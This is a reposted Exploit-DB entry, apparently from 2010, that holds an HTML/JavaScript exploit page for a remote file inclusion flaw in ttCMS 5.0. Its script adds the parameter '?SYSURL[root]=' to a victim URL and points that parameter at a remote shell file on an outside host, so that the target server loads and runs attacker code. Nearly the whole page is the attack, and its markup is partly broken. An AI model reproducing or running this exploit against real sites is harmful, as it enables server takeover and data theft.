ttCMS 5.0 – Remote File Inclusion - 体验盒子

作者： ITSecTeam

日期： 2010-04-04

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/12048/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

<html>

<head>

<title>coded by ahmadbady</title>

//===========================================================================

//( #Topic: ttCMS_v5

//( #Bug type : remote file include

//( #Advisory :

//===========================================================================

//( #Author : ItSecTeam

//( #Email: Bug@ITSecTeam.com

//( #Website: http://www.itsecteam.com

//( #Forum: http://forum.ITSecTeam.com

//---------------------------------------------------------------------

var path="/_acp/templates/"

var file="inc.header.php"

var variable ="?SYSURL[root]="

var shell="http://ahmadbady.persiangig.com/other/a.txt?"

function it(){

xpl.action= document.xpl.victim.value+path+file+variable+shell;xpl.submit();

}

</script>

</head>

<p align="left"><font color="#0000FF"><b>ttCMS_v5 remote file include</b></font></p>

<b><font face="Tahoma" size="2"><font color="#FF0000">example</font>:http://victim/scriptpath</a></font>

or

</font>

<font face="Tahoma" size="2" color="#000000">http://victim</font><font

size="2" face="Tahoma"></a> <font size="2"> --></font></font></b><font

size="2" face="Tahoma">

</p>

<p><input type="submit" value="GO" name="B1" style="float: left"><input type="reset"

value="AGAIN" name="B2" style="float: left"></p>

</form>

<p><br>

 </p>

</center>

</body>

</html>